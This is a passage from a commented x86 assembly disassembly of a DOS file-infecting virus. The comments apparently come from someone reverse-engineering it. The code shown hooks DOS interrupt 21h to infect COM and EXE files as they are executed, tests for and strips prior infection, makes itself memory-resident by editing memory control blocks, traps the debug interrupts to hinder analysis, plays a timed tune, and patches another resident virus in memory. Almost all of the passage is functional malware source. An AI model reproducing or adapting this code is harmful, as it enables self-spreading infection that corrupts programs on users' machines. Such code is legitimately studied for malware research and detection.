SHR BX,1 ; CS + IP/16 = EA
ADD AX,BX ;
MOV DS,AX ;DS = SOM EFFECTIVE ADDRESS
JMP SHORT viral_cs ;
EXIT_TO_VIR: ;J0201
SUB WORD PTR [BP+02],05
POP AX
POP BX
POP DS
POP ES
POPF
POP BP
RETF
viral_cs:
CALL P_030E
MOV AX,WORD PTR [BP+0A]
INC BYTE PTR [REM2] ;005A IF = 0A FLAGS
TEST AX,0100 ; 08 CS
JNZ J0222 ; 06 IP
DEC WORD PTR [BP+06] ; 4
DEC byte PTR [REM2] ;005A 2
; BP
J0222:
AND AX,0FEFFH ; TURNS OFF IF FLAG
MOV [BP+0A],AX ; IF ON
PUSH CS
POP DS
CALL SET_TO_HOOK1_3 ; THIS CALL SETS UP THE
; INTERUPTS 1 AND 3
; TO GO HERE IF
; THINGS MATCH
POP AX
POP BX
POP DS
POP ES
POPF
POP BP
ADD SP,+04 ;REMOVE LAST 2 PUSH
IRET
anti_DEBUG ENDP
;************************************************************************
VIR_INT_1C PROC
PUSH BP
MOV BP,SP
PUSHF
PUSH AX
PUSH BX
PUSH DS
PUSH ES
PUSH CS
POP DS
CALL SET_TO_REST_1_3 ;AGAIN RESTORES 1 AND 3 INT
; TO PROPER LOCATIONS
;IF NEED BE
CALL SET_TO_HOOK1_3 ;ALTERS THE 1 AND 3 INT
; TO OUR INT HANDLER
;IF SOMETHING IS WRONG
MOV AX,0040
MOV ES,AX
TEST BYTE PTR [COUNTER],07
JNE WRONG_TIME ;J0274
;NOTICE THAT THIS CMP INSTRUCTIONS ARE LOOKING AT 0040:
CMP WORD PTR ES:[TIMER_HI],11 ;
JNE WRONG_TIME ;J0274
CMP WORD PTR ES:[TIMER_LO],00 ;
JNE WRONG_TIME ;J0274
MOV BYTE PTR [PLAY_TUNE],00
MOV WORD PTR [X1],00DE ;0040
MOV WORD PTR [X2],006A ;0042
WRONG_TIME: ;J0274
CMP BYTE PTR [PLAY_TUNE],1 ;01 MEANS NO
JE EXIT_VIR_1C ;J02C4
CMP BYTE PTR [X4],00 ;
JE J0288
DEC BYTE PTR [X4]
JMP SHORT EXIT_VIR_1C
J0288:
MOV BX,[X2]
CMP WORD PTR [BX],0FFFFH
JNE J029E
IN AL,61
AND AL,0FC
OUT 61,AL
MOV BYTE PTR [PLAY_TUNE],01
JMP short EXIT_VIR_1C
J029E:
MOV AL,0B6
OUT 43,AL
MOV AX,[BX]
OUT 42,AL
MOV AL,AH
OUT 42,AL
IN AL,61
OR AL,03
OUT 61,AL
ADD WORD PTR [X2],+02
MOV BX,WORD PTR [X1]
MOV AL,[BX]
DEC AL
MOV BYTE PTR [X4],AL
INC WORD PTR [X1]
EXIT_VIR_1C:
POP ES
POP DS
POP BX
POP AX
POPF
POP BP
JMP DWORD PTR CS:[OLD_INT1C_OFS]
VIR_INT_1C ENDP
;*************************************************************
CALL_INT21: JMP DWORD PTR CS:[OLD_INT21_OFS]
REAL_INT21: JMP DWORD PTR [OLD_INT21_OFS]
;*************************************************************
P_02D8 PROC NEAR
;CALLED BY HANDLE_4B
PUSH BP
MOV BP,SP
CLD
PUSH [BP+0AH]
PUSH [BP+08]
PUSH [BP+04]
CALL P_09C8
ADD SP,+06 ;REMOVE LAST 3 PUSHES
PUSH [BP+0CH]
PUSH [BP+06]
PUSH [BP+08]
CALL P_0A58
ADD SP,+06 ;REMOVE LAST 3 PUSHES
PUSH [BP+0CH]
PUSH [BP+08]
PUSH [BP+06]
PUSH [BP+04]
CALL P_0A7F
ADD SP,+08
POP BP
RETN
P_02D8 ENDP
;**********************************************************************
P_030E PROC
;CALLED BY HANDLE_4B
;CALLED BT VIR INT 1 INT3 IN HIGH MEM
;IN INT 3 1 CASE IT SEEMS
;THAT DX= EA 0F TOP OF VIRUS POSSIBLE
;TO RETURN 5 WORDS IN STACK TOP 3 = FL,CS,IP
;BOTTOM 2 ARE THROWN OUT
PUSH AX
PUSH BX
PUSH CX
PUSH DX
PUSH SI
PUSH DI
PUSH ES
PUSHF
CLI ;CLEAR IF
MOV AX,8 ;
PUSH AX ;1
MOV AX,00AE ;
PUSH AX ;2
MOV AX,OFFSET VGROUP:BOT_VIR ;B40
MOV CL,04 ;
SHR AX,CL ;
MOV DX,DS ;
ADD AX,DX ;
PUSH AX ;3 END OF VIRUS EA
MOV AX,OFFSET J0AC0 ; 0AC0b
SHR AX,CL ;
ADD AX,DX ;
PUSH AX ;4
MOV AX,0060 ;
SHR AX,CL ;
ADD AX,DX ;
PUSH AX ;5
CALL P_02D8
ADD SP,0AH ;REMOVE LAST 5 PUSHES
POPF
POP ES
POP DI
POP SI
POP DX
POP CX
POP BX
POP AX
RETN
P_030E ENDP
;*****************************************************************
WRITE_FILE PROC NEAR
MOV AH,40
jmp short r_w_int21
READ_FILE:
MOV AH,3F
R_W_INT21:
CALL I21_F_HANDLE ;J035C
JB J0357
CMP AX,CX
J0357: RETN
WRITE_FILE ENDP
;******************************************************************
START_FILE PROC NEAR
XOR AL,AL
MOV_F_PTR:
MOV AH,42 ;MOVE FILE PTR
I21_F_HANDLE:
MOV BX,WORD PTR CS:[F_HANDLE]
C2_INT21:
PUSHF
CLI ;CLEAR IF
CALL DWORD PTR CS:[OLD_INT21_OFS2]
RETN
START_FILE ENDP
;*********************************************************************
FORCE_WRITE PROC NEAR
PUSH BX
PUSH AX
MOV BX,WORD PTR CS:[F_HANDLE]
MOV AH,45 ;GET DUPLICATE FILE HANDLE
CALL C2_INT21
JB WRITE_ER ;J0380
MOV BX,AX
MOV AH,3E
CALL C2_INT21
JMP short NO_PROBLEM
WRITE_ER:
CLC ; CLEAR CF
NO_PROBLEM:
POP AX
POP BX
RET
FORCE_WRITE ENDP
;******************************************************************
VIR_INT24:
MOV AL,03
IRET
HANDLE_C603:
;THIS IS THE INSTALATION CHECK CALLED ON BY THE VIRUS
;CHECKS TO SEE IF IN INSTALLED IN MEMORY
;CALLED CF CLEAR, BX SET 002C, AX SET C603
; RETURNS
; IF CF IS SET THEN THEN IT IS INSTALLED
;
MOV AX,02DH
TEST BYTE PTR CS:[X7],02
JNZ J393
DEC AX
J393: CMP BX,AX
XOR AL,AL ;ZEROS AL
RCL AL,1 ;ROTATE LEFT THRU CARRY
;SHIFTS AL 1 BIT TO LEFT THRU CF
;MOVES THE CF BIT INTO AH
PUSH AX
MOV AX,002C
TEST BYTE PTR CS:[X7],04
JNZ J3A6
INC AX
J3A6: CMP BX,AX
LES BX,DWORD PTR CS:OLD_INT21_OFS2
;LOADS ES WITH SEGMENT
; ADDRESS AND BX OFFSET
; IE. ES:BX -> OLD_INT21_OFS
POP AX ;
INC SP ;
INC SP ; SP=SP+2 REMOVE LAST 1 PUSH
; IE. LAST PUSHF
STI ;SET INTERUPT FLAG
RETF 2 ; RETURN TO HOST
;END HANDLE_C603
HANDLE_C600:
;REASON UNKNOW
; DOESN'T SEMM TO BE CALLED BY THIS VIRUS
;
MOV AX,2C
JMP short HANDLE_C5
HANDLE_C601:
;REASON ?
;DOESN'T SEEM TO BE CALLED BY VIRUS
;
MOV AL,BYTE PTR CS:[X7]
XOR AH,AH
JMP short HANDLE_C5
HANDLE_C602:
;REASON ?
;DOESN'T SEEM TO BE CALLED BY VIRUS
;
MOV BYTE PTR CS:[X7],CL
JMP SHORT HANDLE_C5
VIR_INT_21 PROC
PUSHF
CMP AH,4BH ; LOAD EXEC CALL
JZ HANDLE_4B ; LET VIRUS GO
CMP AH,0C5
JZ HANDLE_C5
CMP AX,0C600
JZ HANDLE_C600
CMP AX,0C601
JZ HANDLE_C601
CMP AX,0C602
JE HANDLE_C602
CMP AX,0C603
JE HANDLE_C603
POPF
JMP GOTO_INT21 ;NONE OF OUR INTERRUPTS LET
;DOS INT 21 HANDLE IT
HANDLE_C5:
POPF ; SETS THE MASKABLE INTERUPTS ON
STI ;
STC ; SETS THE CF FLAG
RETF 2 ;
HANDLE_4B:
PUSH AX
XOR AL,AL
XCHG AL,BYTE PTR CS:[INFEC_FL] ;POSSIBLE VAL = 00, FF
;00 OR 00 = 0 ZF SET
;FF OR FF = FF ZF CLEAR
;IF FF CONTINUE TO ATTEMPT
;INFECTION PROCESS
OR AL,AL
POP AX
JNZ CONT
POPF
JMP GOTO_INT21 ;INFEC_FL = 00 SO LET
;DOS HANDLE IT
CONT:
PUSH DS ;SAVE DS = FILE DS
PUSH CS ;SET DS TO CS
POP DS ;TSR INFECTION
CALL P_030E ;
MOV WORD PTR [OFFSET C2_INT21],9090
CALL P_030E ;
POP DS ;RESTORE DS TO FILE DS
PUSH ES ;BP E ;
PUSH DS ;BP C ;SAVE REGS
PUSH BP ;BP A ;THAT MAY BE
PUSH DI
PUSH SI ;BP 8 ; DESTROYED
PUSH DX ;BP 6 ;LATER TO
PUSH CX ;BP 4 ;BE RESTORED
PUSH BX ;BP 2 ;FOR RETURN TI INT 21
PUSH AX ;BP ;
;BP POINTS AT AX
MOV BP,SP
PUSH CS ;DS = TSR INFECTION
POP DS ;
CMP BYTE PTR [REM2],00 ;INFECTED = 00 IF EQUAL
JE J429 ;NOT INFECTED YET
JMP LEAVE_
J429: INC BYTE PTR [COUNTER]
PUSH [BP+0E] ;
PUSH [BP+06] ;
CALL OPEN_FILE
LAHF ;LOAD AH WITH FLAGS
ADD SP,+04 ;REMOVE LAST 2 PUSHS
SAHF ;LOAD FLAGS WITH AH
JNB CHK_FOR_INFEC ;IF NO ERROR
JMP LEAVE_ ;PROBALY ERROR
CHK_FOR_INFEC: ; J440
XOR CX,CX ; SET PTR TO START OF
XOR DX,DX ; VICTIM
CALL START_FILE ;
MOV DX,OFFSET TOP_HOST ;READ 14 BYTES TO
MOV CX,14 ;
CALL READ_FILE ;
JB ALREADY_INFECTED ;ERROR
; USE CHECKSUM TO FIND POSSIBEL WHERE FILE INFECTION OCCURS
; PLACE PTR THERE
MOV AX,WORD PTR [CHECKSUM] ;CHECKSUM * 10
MUL WORD PTR [PAGE_16] ;=0010H DX:AX = ORG_SIZE
MOV CX,DX ;MOV RESULTS INTO CX
MOV DX,AX ;DX
CALL START_FILE ;SET POINTER TO A POINT
;CX:DX FROM START
;WHICH IN A INFECTED FILE
;WOULD BE START OF VIRUS
;READ TO THIS LOCATION FORM FILE
MOV DX,OFFSET TOP_VIR ;READ TO THIS LOCATION
MOV CX,2A ;2A BYTES
CALL READ_FILE ;
JB NOT_INFECTED ;IF ERROR FILE NOT THAT LONG
; CAN'T BE INFECTED
; NOW COMPARE TO SEE IF FILE IS INFECTED
CMP WORD PTR [TOP_VIR],7AF4 ;
JNE NOT_INFECTED ;NOT INFECTED GO INFECT
MOV AX,002C
CMP BYTE PTR [BP+00],00
JNE J483
TEST BYTE PTR [X7],02 ;JUMP IF AN AND OPERATION
JZ J484 ;RESULTS IN ZF SET
J483: INC AX ;
J484: CMP WORD PTR [TOP_VIR+2],AX ;JUMP IF TOP_VIR+2 => AX
JNB ALREADY_INFECTED ;
;FILE IS ALREADY INFECTED RESTORE TO ORGINAL FORM
XOR CX,CX ;SET FILE PTR TO
XOR DX,DX ;ACTUAL START OF
CALL START_FILE ;FILE
MOV DX,OFFSET TOP_HOST ;
MOV CX,20H ;
CALL WRITE_FILE ;
JB ALREADY_INFECTED ;ERROR
CALL FORCE_WRITE ; THIS WOULD EFFECTIVELY
; DISINFECT FILE
JNB J4A4
ALREADY_INFECTED:
JMP CLOSE_EXITVIR ; FILE NOW DISINFECTED
J4A4: MOV CX,WORD PTR [FSIZE1] ;GOTO END OF HOST
MOV DX,WORD PTR [FSIZE2] ;
CALL START_FILE ;
XOR CX,CX ;WRITE 00 BYTES
CALL WRITE_FILE ;IF ERROR
JB ALREADY_INFECTED ;EXIT
CALL FORCE_WRITE
JB ALREADY_INFECTED
;AT THIS TIME THE POSSIBLE INFECTION HAS BEEN REMOVED AND THE FILE RESTORE TO
;ORGIONAL SIZE AND FUNCTION
JMP CHK_FOR_INFEC ;J440
NOT_INFECTED: ;J4BD
MOV AL,02
MOV CX,0FFFF
MOV DX,0FFF8
CALL MOV_F_PTR
MOV DX,OFFSET TOP_HOST ;BUFFER TO READ INTO
MOV CX,08H ;FOR LENGTH
CALL READ_FILE
JB ERROR_LVE
CMP WORD PTR [P_COUNT],7AF4 ;IF == MAYBE INFECTED
JE MAKE_SURE ;J4E0
JMP SHORT INFECT ;J538
ERROR_LVE:
JMP CLOSE_EXITVIR ;J6AE
MAKE_SURE:
CMP BYTE PTR [RELOC],23 ; IF >=
JNB ERROR_LVE ;IT IS INFECTED
MOV CL,BYTE PTR [RELOC+1] ; ????
MOV AX,WORD PTR [TOP_HOST] ; POSSIBLE SETING UP JUMP
MOV WORD PTR [FSIZE2],AX ; FOR COM FILE
MOV AX,WORD PTR [P_SIZE] ;
SUB AX,0103H ; WHY 103
MOV WORD PTR [TOP_HOST+1],AX ;
CMP BYTE PTR [RELOC],09 ;
JA J503 ;
MOV CL,0E9 ;
J503: MOV BYTE PTR [TOP_HOST],CL ;E9= JMP
XOR CX,CX ;
MOV DX,CX ;
CALL START_FILE ;
MOV DX,OFFSET TOP_HOST ;
MOV CX,0003H ;
CALL WRITE_FILE ;
JB ERROR_LVE ;J4DD
CALL FORCE_WRITE
JB ERROR_LVE ;J4DD
XOR CX,CX ;SET FILE POINTER TO END
MOV DX,WORD PTR [FSIZE2] ;OF HOST FILE
CALL START_FILE ;
XOR CX,CX
CALL WRITE_FILE
JB ERROR_EXIT
;52E
CALL FORCE_WRITE
JB ERROR_EXIT
JMP NOT_INFECTED ;J4BD
ERROR_EXIT: JMP CLOSE_EXITVIR ;J6AE
;J538
INFECT:
MOV WORD PTR [TOP_VIR],7AF4
MOV WORD PTR [TOP_VIR+2],2C
MOV WORD PTR [TOP_VIR+8],0ABE
CMP BYTE PTR [BP+00],00
JNE ERROR_EXIT ;J535
TEST BYTE PTR [X7],01
JE ERROR_EXIT
;THIS NEXT PIECE WILL TELL POINTER TO GO TO END OF FILE
;WITH OFFSET 0:0 WHICH SETS DX:AX TO #BYTES IN ENTIRE FILE
;J557
MOV AL,02
XOR CX,CX
MOV DX,CX
CALL MOV_F_PTR
MOV [FSIZE1],DX
MOV [FSIZE2],AX
XOR CX,CX
MOV DX,CX
CALL START_FILE
MOV DX,OFFSET TOP_HOST ;BUFFER
MOV CX,20 ;#BYTES TO READ
CALL READ_FILE ;
JB ERROR_EXIT ;J535
;CHECK FOR TYPE OF FILE BY TESTING FOR SIGNATURE MZ OR ZM
;IF NEITHER IT IS A COM FILE
;J579
CMP WORD PTR [TOP_HOST],"ZM"
JE EXE_INFEC
CMP WORD PTR [TOP_HOST],"MZ"
JNE COM_INFEC
EXE_INFEC:
MOV BYTE PTR [COMFILE],00
MOV AX,WORD PTR [P_COUNT] ;000E
MUL WORD PTR [EXE_PG_SIZE] ;0066 = 200H
SUB AX,[FSIZE2] ;AX=#BYTES IN HOST
SBB DX,[FSIZE1] ;IF BELOW ERROR SOMEPLACE
JB J5E1 ;J5E1 EXIT ERROR
MOV AX,WORD PTR [I_SS] ;0018
MUL WORD PTR [PAGE_16] ;0062
ADD AX,WORD PTR [I_SP] ;001A
MOV CX,DX ;SAVE RESULT EFF ADDRESS OF
MOV BX,AX ;SS:SP AT START OF PROGRAM
MOV AX,[H_PARA] ;0012
MUL WORD PTR [PAGE_16] ;0062
MOV DI,WORD PTR [FSIZE1]
MOV SI,WORD PTR [FSIZE2]
ADD SI,+0F
ADC DI,+00
AND SI,-10
SUB SI,AX
SBB DI,DX
MOV DX,CX
MOV AX,BX
SUB AX,SI
SBB DX,DI
JB J5FF
;J5D4
ADD SI,0DC0
ADC DI,+00
SUB BX,SI
SBB CX,DI
JNB J5FF ;IF NO ERROR
J5E1: JMP CLOSE_EXITVIR ;J6AE
COM_INFEC: ;j5E4
MOV BYTE PTR [COMFILE],01 ; CHECK IF FILE SIZE
CMP WORD PTR [FSIZE1],+00 ; WILL ALLOW INFECTION
JNZ J5E1 ;
CMP WORD PTR [FSIZE2],+20 ;
JBE J5E1 ;
CMP WORD PTR [FSIZE2],0F277 ;
JNB J5E1 ;
J5FF:
MOV CX,WORD PTR [FSIZE1] ; FIGURE END OF FILE
MOV DX,WORD PTR [FSIZE2] ; +DATA NEEDED TO GET IT TO
ADD DX,+0F ;A EVEN PAGE IE DIVISIBLE BY 10H
ADC CX,+00 ;
AND DX,-10 ;
CALL START_FILE ;
XOR DX,DX
MOV CX,0B41 ;OFFSET TOP_VIRUS -OFFSET BOT_VIRUS+1
PUSH word ptr [x7]
MOV BYTE PTR [x7],01
CALL WRITE_FILE
POP CX
MOV BYTE PTR [x7],CL
JB J5E1
CMP BYTE PTR [COMFILE],00
JE EXEINFEC ;J638
MOV CX,0004 ; WRITES FIRST 4 BYTES
CALL WRITE_FILE ; TO END OF FILE
EXEINFEC:
CALL FORCE_WRITE ; FA 7A 2C 00
JB J5E1
MOV DX,WORD PTR [FSIZE1]
MOV AX,[FSIZE2]
ADD AX,000F
ADC DX,+00
AND AX,0FFF0
DIV WORD PTR [PAGE_16]
MOV WORD PTR[CHECKSUM],AX
CMP BYTE PTR [COMFILE],00
JE EXEONLY
;DO THIS TO COM FILE ONLY
MUL WORD PTR [PAGE_16]
MOV BYTE PTR [TOP_HOST],0E9
ADD AX,07CE
MOV [TOP_HOST+1],AX
JMP SHORT J069E
EXEONLY: ;66C
MOV [I_CS],AX
MOV WORD PTR [I_IP],07D1 ;OFFSET START
MUL WORD PTR [PAGE_16]
ADD AX,OFFSET VGROUP:BOT_VIR ;B40
ADC DX,+00
DIV WORD PTR [EXE_PG_SIZE]
INC AX
MOV WORD PTR [P_COUNT],AX
MOV WORD PTR [P_SIZE],DX
MOV AX,WORD PTR [H_PARA]
SUB WORD PTR [I_CS],AX
;J692: SET MIN_MALLOC
MOV SI,OFFSET MINALLOC
CALL P_MIN_MAX_ALLOC
MOV SI,OFFSET MAXALLOC
CALL P_MIN_MAX_ALLOC
J069E: XOR CX,CX
MOV DX,CX
CALL START_FILE
MOV DX,OFFSET TOP_HOST
MOV CX,20
CALL WRITE_FILE
CLOSE_EXITVIR: ;J6AE
PUSH [BP+0E]
PUSH [BP+06]
CALL CLOSE_F
;J6B7
ADD SP,+04 ;REMOVE LAST 2 PUSH
LEAVE_:
MOV BYTE PTR [INFEC_FL],0FF
POP AX
POP BX
POP CX
POP DX
POP SI
POP DI
POP BP
POP DS
POP ES
POPF
GOTO_INT21: ;J6C9
PUSHF
PUSH CS ; FLAG <- BP +6
PUSH WORD PTR CS:[C_OFFSET_21] ; CS <- BP +4
CMP BYTE PTR CS:[REM2],00 ; IP <- BP +2
JNE J6D9 ; OLDBP <- BP =SP
IRET ;
J6D9: PUSH BP
MOV BP,SP
OR WORD PTR [BP+06],0100 ;SETS TRAP FLAG ON
;RETURN
MOV BYTE PTR CS:[REM2],00
POP BP
IRET
VIR_INT_21 ENDP
; C
OPEN_FILE PROC ; A
PUSH BP ; FLAG 8
MOV BP,SP ; CS 6
PUSH ES ; IP 4
PUSH DX ; BP 2
PUSH CX ;BP->
PUSH BX
PUSH AX
MOV AX,3300 ;GET EXT CTRL-BREAK
CALL C2_INT21 ;P361
MOV BYTE PTR [CTRL_FLAG],DL ;SAVE OLD SETTING
MOV AX,3301 ;SET CTRL-BREAK
XOR DL,DL ;OFF
CALL C2_INT21
MOV AX,3524 ;GET INT 24
CALL C2_INT21 ;VECTORS
MOV WORD PTR [OLD_INT24_SEG],ES ;SAVE THEM HERE
MOV WORD PTR [OLD_INT24_OFS],BX ;
MOV DX,OFFSET VIR_INT24 ;J384
MOV AX,2524 ;SET INT 24
CALL C2_INT21 ;TO OUR HANDLER
MOV AX,4300 ;GET THE FILE ATTRIBUTES
PUSH DS ;
LDS DX,[BP+04] ;PTR TO FILENAME
CALL C2_INT21 ;
POP DS ;
JB GET_OUT_F_CL ;PROB_CH
MOV BYTE PTR [F_ATTR],CL ;
TEST CL,01 ;TEST FOR R_W
JZ NOCHANGE_ATTR ; ITS R_W IF EQUAL
MOV AX,4301 ;CHANGE F_ATTR
push ds
XOR CX,CX ;
LDS DX,[BP+04] ;
CALL C2_INT21 ;
POP DS ;
PROB_CH:
JB GET_OUT_F_CL ;
NOCHANGE_ATTR:
MOV AX,3D02 ;OPEN FILE R_W
PUSH DS ;
LDS DX,[BP+04] ;FNAME PTR
CALL C2_INT21
POP DS
JB J0780
;J74C
MOV WORD PTR [F_HANDLE],AX ;
MOV AX,5700 ;GET FILE TIME DATE
CALL I21_F_HANDLE ;
MOV WORD PTR [F_TIME],CX
MOV WORD PTR [F_DATE],DX
POP AX
POP BX
POP CX
POP DX
POP ES
POP BP
CLC
RET
OPEN_FILE ENDP ;764
CLOSE_F PROC
PUSH BP
MOV BP,SP
PUSH ES
PUSH DX
PUSH CX
PUSH BX
PUSH AX
MOV CX,WORD PTR [F_TIME] ; RESTORE
MOV DX,WORD PTR [F_DATE] ; TIME AND DATE
MOV AX,5701 ; TO FILE
CALL I21_F_HANDLE
MOV AH,3E
CALL I21_F_HANDLE ;******************
J0780: MOV CL,BYTE PTR [F_ATTR]
XOR CL,20
AND CL,3F
TEST CL,21
JZ GET_OUT_F_CL ;J7A0
MOV AX,4301
PUSH DS
XOR CH,CH
MOV CL,BYTE PTR [F_ATTR]
LDS DX,[BP+04] ;ASCIZ FILENAME
CALL C2_INT21 ;J361*************
POP DS
GET_OUT_F_CL:
MOV AX,2524
PUSH DS
LDS DX,DWORD PTR [OLD_INT24_OFS]
CALL C2_INT21
POP DS
MOV DL,BYTE PTR [CTRL_FLAG]
MOV AX,3301
CALL C2_INT21
POP AX
POP BX
POP CX
POP DX
POP ES
POP BP
STC
RET
CLOSE_F ENDP
RET_HOST PROC
POP CX
MOV DX,0200
CMP BYTE PTR CS:[BX+REM2],00
JE J7CC
MOV DH,03
J7CC: PUSH DX
PUSH CS
PUSH CX
INC BX
IRET
RET_HOST ENDP
;07d1
START:
CALL FIND_OFFSET
FIND_OFFSET:
POP BX
SUB BX,OFFSET FIND_OFFSET
MOV BYTE PTR CS:[BX+INFEC_FL],0FF ;D005C
CLD
CMP BYTE PTR CS:[BX+COMFILE],00
JE EXEFILE ;J800
;ONLY OCCURS IF IT IS A COM FILE
MOV SI,OFFSET TOP_HOST ;MOV 20H BYTES FROM
ADD SI,BX ; [SI] TO
MOV DI,0100 ; [DI]
MOV CX,0020 ;
REPZ MOVSB
PUSH CS
PUSH WORD PTR CS:[BX+HOST_IP]
PUSH ES
PUSH DS
PUSH AX
JMP short INSTALLED?
EXEFILE:
;NOTICE NO BX+ OFFSET NEEDED BECAUSE IT ASSUMES IT IS EXE AT THIS
;MOMENT
MOV DX,DS
ADD DX,+10
ADD DX,WORD PTR CS:[I_CS]
PUSH DX
PUSH word ptr cs:[I_IP]
PUSH ES
PUSH DS
PUSH AX
INSTALLED?:
PUSH BX
MOV BX,002C
CLC
MOV AX,0C603
INT 21
POP BX
JNB NOT_INSTALLED ;J0827
EXIT:
POP AX
POP DS
POP ES
CALL RET_HOST ;P_07BE
RETF
;J0827
NOT_INSTALLED:
CMP BYTE PTR cs:[BX+COMFILE],00
JE FILE_IS_EXE ;J0834
CMP SP,-10
JB EXIT ;J0820
FILE_IS_EXE:
MOV AX,DS ;LOOK AT MCB
DEC AX ;
MOV ES,AX ;
CMP BYTE PTR ES:[0000],5A ; IS IT Z
JE LAST_MEM_BLOCK ;YES IT IS LAST ONE
PUSH BX
MOV AH,48 ;REQUEST A BLOCK OF MEM
MOV BX,0FFFF ;LARGEST AVAILABLE
INT 21
CMP BX,00BC ;IS BLOCK > BC
JB TO_SMALL ;J0853
MOV AH,48 ;AVAIBLE BLOCK IS BIG ENOUGH
INT 21 ; GET IT IN AX
TO_SMALL:
POP BX
JB EXIT
DEC AX ;GET MCB SEGMENT IN ES
MOV ES,AX ;
CLI
MOV WORD PTR ES:[0001],0000 ;MARK THIS BLOCK AS FREE
CMP BYTE PTR ES:[0000],5A ; IS LAST MCB
JNE EXIT
ADD AX,WORD PTR ES:[0003] ;SIZE OF MEM MCB CONTROLS
INC AX ;
MOV WORD PTR ES:[0012],AX ;0012 PTS TO NEXT MCB
LAST_MEM_BLOCK:
MOV AX,WORD PTR ES:[0003] ;SIZE OF MEM
SUB AX,00BC ;MINUS SIZE VIRUS/10H
JB EXIT ;
MOV WORD PTR ES:[0003],AX
SUB WORD PTR ES:[0012],00BC
MOV ES,ES:[0012] ;SEG TO LOAD VIRUS INTO
XOR DI,DI ;MOV B40 BYTES FROM
MOV SI,BX ; DS:[SI]
; TO ES:[DI]
MOV CX,OFFSET VGROUP:BOT_VIR ;0B40
DB 0F3, 2E,0A4
; REPZ CS: MOVSB ;
PUSH ES
POP DS
PUSH BX
;J0899
;NOTE THAT DS:= ES MEANS LOCATION IN HIGH MEM BELOW 640
;SO THAT IF CS IS REFRENCED YOU MUST STILL USE OFFSET
;BUT IF DS IS USED OFFSET CAN NOT BE USED
MOV AX,3521
INT 21
MOV [OLD_INT21_SEG],ES
MOV [OLD_INT21_OFS],BX
MOV [OLD_INT21_SEG2],ES
MOV [OLD_INT21_OFS2],BX
MOV AX,3501 ;GET VECTOR FOR
INT 21 ;INTERUPT 01
MOV SI,BX ;SAVE IN REGS
MOV DI,ES ;DS:SI
MOV AX,351C
INT 21
MOV [OLD_INT1C_SEG],ES
MOV [OLD_INT1C_OFS],BX
POP BX
MOV AX,2521
MOV DX,OFFSET VIR_INT_21
INT 21
MOV AX,2501
MOV DX,OFFSET VIR_INT_01
INT 21
MOV DX,OFFSET VIR_INT_1C
PUSHF
MOV AX,BX ;PUT OFFSET IN AX
ADD AX,OFFSET VACSINE ;SET UP TO GO HERE
PUSH CS ;USING STACK
PUSH AX ;SAVE OFFSET
CLI ;CLEAR INTER FLAGS
PUSHF ;PUSH FLAGS
POP AX ;POP FLAG
OR AX,0100 ;SET TF
PUSH AX ;FOR SINGLE STEP
MOV AX,BX
ADD AX,OFFSET REAL_INT21 ;FLAGS SET FOR SINGLE STEP
PUSH CS ;CS
PUSH AX ;IP TO REAL_INT21
MOV AX,251C ;WHEN INT 21 CALLED
;HOOK 1C
MOV BYTE PTR [SNARE],01
IRET
VIR_INT_01 PROC
PUSH BP
MOV BP,SP
CMP BYTE PTR CS:[SNARE],01 ;IF SNARE IS SET
JE YES_NO ;CONTINUE
EXIT_VIR_INT01:
AND WORD PTR [BP+06],0FEFF ;CLEAR TF
MOV BYTE PTR cs:[SNARE],00 ;CLEAR SNARE
POP BP ;
IRET ;
YES_NO: CMP WORD PTR [BP+04],0300 ;
JB GOT_IT ;J0918
POP BP ;NOPE
IRET ;TRY AGAIN
GOT_IT:
PUSH BX
MOV BX,[BP+02]
MOV WORD PTR CS:[OLD_INT21_OFS2],BX
MOV BX,[BP+04]
MOV WORD PTR CS:[OLD_INT21_SEG2],BX
POP BX
JMP EXIT_VIR_INT01
VIR_INT_01 ENDP
VACSINE:
MOV BYTE PTR [SNARE],00
MOV AX,2501 ;RESTORE
MOV DX,SI ;INT 01
MOV DS,DI ;
INT 21 ;
;NEXT PIECE OF CODE IS LOOKING AT DS:=0000
;0000:00C5 MIGHT BE A JUMP TO AN INT BEING ALTERED AT TABLE
;0000:00C7
;0000:0413 MEM SIZE IN KILOBYTES
XOR AX,AX
MOV DS,AX
MOV WORD PTR DS:[00C5],397F
MOV BYTE PTR DS:[00C7],2C
MOV AX,WORD PTR DS:[MEM_SIZE]
MOV CL,06
SHL AX,CL
MOV DS,AX
MOV SI,012E
XOR AX,AX
MOV CX,0061
L1: ADD AX,[SI]
ADD SI,+02
LOOP L1
CMP AX,053BH
JE PING_IN_MEM ;J0969
JMP EXIT ;J0820
PING_IN_MEM:
CLI
MOV BYTE PTR DS:[017AH],01H
MOV BYTE PTR DS:[01FBH],01H
MOV BYTE PTR DS:[0093H],0E9H
MOV WORD PTR DS:[0094H],0341H
PUSH DS
POP ES
PUSH CS
POP DS
MOV SI,BX ;STILL = OFFSET
ADD SI,OFFSET NEW_PONG
MOV DI,03D7
MOV CX,0027
REPZ MOVSB
STI
JMP EXIT
P_0995 PROC
;CALLED BY P_09C8
;
PUSH BP
MOV BP,SP
PUSH CX
MOV AX,8000
XOR CX,CX
PLOOP:
TEST AX,[BP+08]
JNE J09A8
INC CX
SHR AX,1
JMP short PLOOP
J09A8:
XOR AX,[BP+08]
JE J09BC
MOV AX,[BP+04]
ADD AX,[BP+08]
ADD AX,CX
SUB AX,0011
CLC
POP CX
POP BP
RET
J09BC:
MOV AX,000F
SUB AX,CX
ADD AX,[BP+06]
STC
POP CX
POP BP
RET
P_0995 ENDP
;********************************************************************
P_09C8 PROC
;CALLED BY P_02D8
PUSH BP
MOV BP,SP
SUB SP,+10 ;ADD BACK SP 5 WORDS
MOV DX,8000
L21: TEST DX,[BP+08]
JNZ J09DA
SHR DX,1
JMP L21
J09DA:
LEA DI,[BP-10] ;
MOV CX,0008 ;
XOR AX,AX ;
PUSH SS ;SS = ES
POP ES ;
REPZ STOSW ;MOV 8 WORDS FROM
;MOV DS:SI
;TO ES:DI
MOV CX,[BP+08]
J09E9: TEST CX,DX
JE J0A4B
PUSH CX
PUSH [BP+06]
PUSH [BP+04]
CALL P_0995
MOV ES,AX
LAHF
ADD SP,+06
SAHF
JB J0A3A
;0A00
MOV AX,WORD PTR ES:[0000] ;
XOR [BP-10],AX ;
;
MOV AX,WORD PTR ES:[0002] ;
XOR [BP-0E],AX ;
;
MOV AX,WORD PTR ES:[0004] ;
XOR [BP-0C],AX ;
;
MOV AX,WORD PTR ES:[0006] ;
XOR [BP-0A],AX ;
;
MOV AX,WORD PTR ES:[0008] ;
XOR [BP-08],AX ;
;
MOV AX,WORD PTR ES:[000A] ;
XOR [BP-06],AX ;
;
